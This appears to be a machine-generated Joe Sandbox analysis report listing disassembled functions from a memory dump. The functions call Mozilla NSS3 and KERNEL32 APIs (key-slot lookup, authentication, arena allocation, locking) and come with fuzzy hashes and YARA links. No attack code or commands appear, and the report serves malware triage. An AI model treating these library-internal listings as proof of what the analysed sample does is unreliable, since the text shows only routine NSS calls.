Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: E311C0A1B042045BEB00AAA66E42B7BB5FC9F4415DF20407DA819EB741FB70DA0886B1

Function 6CE68C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE68C1B
EnterCriticalSection.KERNEL32 ref: 6CE68C34
PL_ArenaAllocate.NSS3 ref: 6CE68C65
PR_Unlock.NSS3 ref: 6CE68C9C
PR_Unlock.NSS3 ref: 6CE68CB6

Part of subcall function 6CEFDD70: TlsGetValue.KERNEL32 ref: 6CEFDD8C
Part of subcall function 6CEFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CEFDDB4

Strings

KRAM, xrefs: 6CE68C8F

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 1a3f1058190d75f8a353a9ea9d68262119b933e9ae24bc78a276efe99c5e0199
Instruction ID: 6e170d5f109525804790fbbbc71bd85fa3fe7ea7c39faaab928e4ed5b7409002
Opcode Fuzzy Hash: 1a3f1058190d75f8a353a9ea9d68262119b933e9ae24bc78a276efe99c5e0199
Instruction Fuzzy Hash: 5D21A6B1A556018FD700AF79C484659FBF4FF46308F25896ED884CBB01DB31D886CB92

Function 6CE78E80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 71COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,?,6CE92E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE64F1C), ref: 6CE78EA2

Part of subcall function 6CE9F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CE9F854
Part of subcall function 6CE9F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CE9F868
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CE9F882
Part of subcall function 6CE9F820: free.MOZGLUE(04C483FF,?,?), ref: 6CE9F889
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CE9F8A4
Part of subcall function 6CE9F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CE9F8AB
Part of subcall function 6CE9F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CE9F8C9
Part of subcall function 6CE9F820: free.MOZGLUE(280F10EC,?,?), ref: 6CE9F8D0

PK11_IsLoggedIn.NSS3(?,?,?,6CE92E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE64F1C), ref: 6CE78EC3
TlsGetValue.KERNEL32(?,?,?,6CE92E62,?,?,?,?,?,?,?,00000000,?,?,?,6CE64F1C), ref: 6CE78EDC
EnterCriticalSection.KERNEL32(?,?,?,?,6CE92E62,?,?,?,?,?,?,?,00000000,?,?), ref: 6CE78EF1
PR_Unlock.NSS3 ref: 6CE78F20

Strings

b.l, xrefs: 6CE78E96, 6CE78F25

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$K11_$EnterInternalLoggedSlotUnlockValue
String ID: b.l
API String ID: 1978757487-3749612370
Opcode ID: 7e862cae44fc081cc7e3b9204beae38187fbb01cf4bc22eae89b62a5f7a1bb03
Instruction ID: 3f640329cdd67cb5bc0208bdc672e7ac21d32093b10f2d91014fd8faccbb46eb
Opcode Fuzzy Hash: 7e862cae44fc081cc7e3b9204beae38187fbb01cf4bc22eae89b62a5f7a1bb03
Instruction Fuzzy Hash: 562180709097059FD720AF29D484699BBF0FF48368F51456EEC98A7B41D730E854CBE2

Function 6CEE3E20 Relevance: 10.6, APIs: 7, Instructions: 70COMMON

Download Yara Rule

APIs

Part of subcall function 6CEE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEE5B56

PR_EnterMonitor.NSS3(?), ref: 6CEE3E45

Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190AB
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF190C9
Part of subcall function 6CF19090: EnterCriticalSection.KERNEL32 ref: 6CF190E5
Part of subcall function 6CF19090: TlsGetValue.KERNEL32 ref: 6CF19116
Part of subcall function 6CF19090: LeaveCriticalSection.KERNEL32 ref: 6CF1913F

PR_EnterMonitor.NSS3(?), ref: 6CEE3E5C
PR_EnterMonitor.NSS3(?), ref: 6CEE3E73
PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CEE3EA6

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_ExitMonitor.NSS3(?), ref: 6CEE3EC0
PR_ExitMonitor.NSS3(?), ref: 6CEE3ED7
PR_ExitMonitor.NSS3(?), ref: 6CEE3EEE

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Monitor$EnterValue$Exit$CriticalSection$ErrorIdentitiesLayerLeave
String ID:
API String ID: 2517541793-0
Opcode ID: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction ID: 317d2ef9a75419b97a582bf9ac373c5731ea4920809eca2fcedb2b80c0ee5631
Opcode Fuzzy Hash: 54027f88e9f8c7aef8774f630c25a29e5d64c5ae93700a839b1c12e084a23d9d
Instruction Fuzzy Hash: 7A11A575514700AFDB319A29FC02BC7B7B1DB45348F204824E55A87A30E632E929C783

Function 6CF62C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CF62CA0
PR_ExitMonitor.NSS3 ref: 6CF62CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CF62CD1
strdup.MOZGLUE(?), ref: 6CF62CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CF62D27

Strings

Loaded library %s (static lib), xrefs: 6CF62D22

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 0fb2ec2b9bfd6f13609693c2b97ce89cf659e301a27bce2624cee644ebd22651
Instruction ID: 07a72626c783a051896903950ba8a524fcc56f7ea6a102f3a92dc0893746730a
Opcode Fuzzy Hash: 0fb2ec2b9bfd6f13609693c2b97ce89cf659e301a27bce2624cee644ebd22651
Instruction Fuzzy Hash: 7011EFB1A102119FEB408F2AD884B6A77B5AB4635DF14C13DD809C7F41E733E808CBA1

Function 6CE5BDC0 Relevance: 10.6, APIs: 7, Instructions: 54memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE5BDCA

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE5BDDB

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6CE5BDEC

Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB116E

SECITEM_CopyItem_Util.NSS3(00000000,00000000,?), ref: 6CE5BE03

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE5BE22
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE5BE30
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE5BE3B

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_ErrorValue$CopyCriticalEnterFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 1821307800-0
Opcode ID: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction ID: 935048b95a006725f998e40a79943bf2f93f8fef4ce20f2f9c41ad6277e42147
Opcode Fuzzy Hash: 49bd7be85a6d6651bfacdc823afd404720f93631e91d5564c55d0a1637df6a24
Instruction Fuzzy Hash: DA012BA5F4160566F61013A66C01F6766688F5129DF780038EE04AAB82FF62E12A82B6

Function 6CEB0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016

Part of subcall function 6CF198D0: calloc.MOZGLUE(00000001,00000084,6CE40936,00000001,?,6CE4102C), ref: 6CF198E5

PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B
TlsGetValue.KERNEL32(00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1044
free.MOZGLUE(00000000,?,00000800,6CE4EF74,00000000), ref: 6CEB1064

Strings

security, xrefs: 6CEB1025

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 1feba3d57ce01097ffaa8c045d5b8f0ada6ef12553fa7feabd579766b24846c5
Instruction ID: e8411510a5a1b0e351f25397414f1cfbf7463c7d495852bd5c33621c07031d51
Opcode Fuzzy Hash: 1feba3d57ce01097ffaa8c045d5b8f0ada6ef12553fa7feabd579766b24846c5
Instruction Fuzzy Hash: 4E014831A1025097E7602FACAE04B767678BF077A8F214129E808E6A51EB71C115DBD1

Function 6CEE1C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEE1C74

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CEE1C92
free.MOZGLUE(?), ref: 6CEE1C99
DeleteCriticalSection.KERNEL32(?), ref: 6CEE1CCB
free.MOZGLUE(?), ref: 6CEE1CD2

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 04f91210f12b2ac95b1038488f9cb60dd26c3031a3f913661766e6ac3ebf05bd
Instruction ID: 58ccefd6854b92adfec43d983046822978aa110ebac2cf691acd8c6f5a596f4b
Opcode Fuzzy Hash: 04f91210f12b2ac95b1038488f9cb60dd26c3031a3f913661766e6ac3ebf05bd
Instruction Fuzzy Hash: 1101D6B1F216119FEF64AFE4DC4DB4977B8A70B358F200124E50AE6B41D323E1454795

Function 6CEF2E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CEF3046

Part of subcall function 6CEDEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEDEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CEC7FFB), ref: 6CEF312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CEF3154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CEF2E8B

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

Part of subcall function 6CEDF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CEC9BFF,?,00000000,00000000), ref: 6CEDF134

memcpy.VCRUNTIME140(8B3C75C0,?,6CEC7FFA), ref: 6CEF2EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEF317B

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 7e43159f1484fef866f3f9ccf08d84a49667395ebd8cf488201de37c28908dfa
Instruction ID: 5b690a513e9cfb7eb0e8457a4326e0f006569d453a1a09c8e8b5e91cf80ed92a
Opcode Fuzzy Hash: 7e43159f1484fef866f3f9ccf08d84a49667395ebd8cf488201de37c28908dfa
Instruction Fuzzy Hash: D3A1D172A002189FDB24CF54CC85BEAB7B5EF45308F248099ED596B741E731AE46CF91

Function 6CEBED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CEBED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CEBEDCE

Part of subcall function 6CEB0BE0: malloc.MOZGLUE(6CEA8D2D,?,00000000,?), ref: 6CEB0BF8
Part of subcall function 6CEB0BE0: TlsGetValue.KERNEL32(6CEA8D2D,?,00000000,?), ref: 6CEB0C15

free.MOZGLUE(00000000,?,?,?,?,6CEBB04F), ref: 6CEBEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEBEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CEBEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CEBEEFB

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: fb83f16fc724022a787ed30e097a472fb28e263552d248cfc04c1657a27cb36e
Instruction ID: ebbf5a1ea02d5237a03c517b2aeba27df4981938710bca21b65dfdb0fb98c347
Opcode Fuzzy Hash: fb83f16fc724022a787ed30e097a472fb28e263552d248cfc04c1657a27cb36e
Instruction Fuzzy Hash: 8F818CB5A006059FEB14CF99DA81BBB7BF5BF88308F24446CE815AB751D734E814CBA1

Function 6CEBCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEBC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CEBDAE2,?), ref: 6CEBC6C2

PR_Now.NSS3 ref: 6CEBCD35

Part of subcall function 6CF19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DC6
Part of subcall function 6CF19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CF60A27), ref: 6CF19DD1
Part of subcall function 6CF19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CF19DED

Part of subcall function 6CEA6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE51C6F,00000000,00000004,?,?), ref: 6CEA6C3F

PR_GetCurrentThread.NSS3 ref: 6CEBCD54

Part of subcall function 6CF19BF0: TlsGetValue.KERNEL32(?,?,?,6CF60A75), ref: 6CF19C07

Part of subcall function 6CEA7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CE51CCC,00000000,00000000,?,?), ref: 6CEA729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CEBCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CEBCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CEBCE2C

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CEBCE40

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

Part of subcall function 6CEBCEE0: PORT_ArenaMark_Util.NSS3(?,6CEBCD93,?), ref: 6CEBCEEE
Part of subcall function 6CEBCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CEBCD93,?), ref: 6CEBCEFC
Part of subcall function 6CEBCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CEBCD93,?), ref: 6CEBCF0B
Part of subcall function 6CEBCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CEBCD93,?), ref: 6CEBCF1D

Part of subcall function 6CEBCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CEBCD93,?), ref: 6CEBCF47
Part of subcall function 6CEBCEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CEBCD93,?), ref: 6CEBCF67
Part of subcall function 6CEBCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CEBCD93,?,?,?,?,?,?,?,?,?,?,?,6CEBCD93,?), ref: 6CEBCF78

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 60306bc42a5eb405c546e6d3d5f45455136d257af2e8089d5bba687a8f3d86ff
Instruction ID: ca18196185bab8a4f25c5501a982fdf3804ffc29a08f41fea7c11aba1b8f81bd
Opcode Fuzzy Hash: 60306bc42a5eb405c546e6d3d5f45455136d257af2e8089d5bba687a8f3d86ff
Instruction Fuzzy Hash: 22519FB6B041019BEB10DF69DD40BBA77F4AF48358F350528E955ABB40EB31E905CB91

Function 6CECFFD0 Relevance: 9.1, APIs: 6, Instructions: 132COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD076,00000000), ref: 6CECFFE5

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_EnterMonitor.NSS3(?), ref: 6CED0004
PR_EnterMonitor.NSS3(?), ref: 6CED001B

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: EnterMonitor$ErrorValue
String ID:
API String ID: 3413098822-0
Opcode ID: 39aadb82e6ca8fa36e0db14fc92fe1c59813cda512b0810e06f15a909040749e
Instruction ID: cf6912bf3df46636d5cd7d85dd70adfa3c900dcda446bfb0564ce44cefebb38a
Opcode Fuzzy Hash: 39aadb82e6ca8fa36e0db14fc92fe1c59813cda512b0810e06f15a909040749e
Instruction Fuzzy Hash: A5415676644680DBE7208A29DC517AB73B1DB4230CF79083DD45BCAF90E7B9B54BC642

Function 6CE8EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CE8EF38

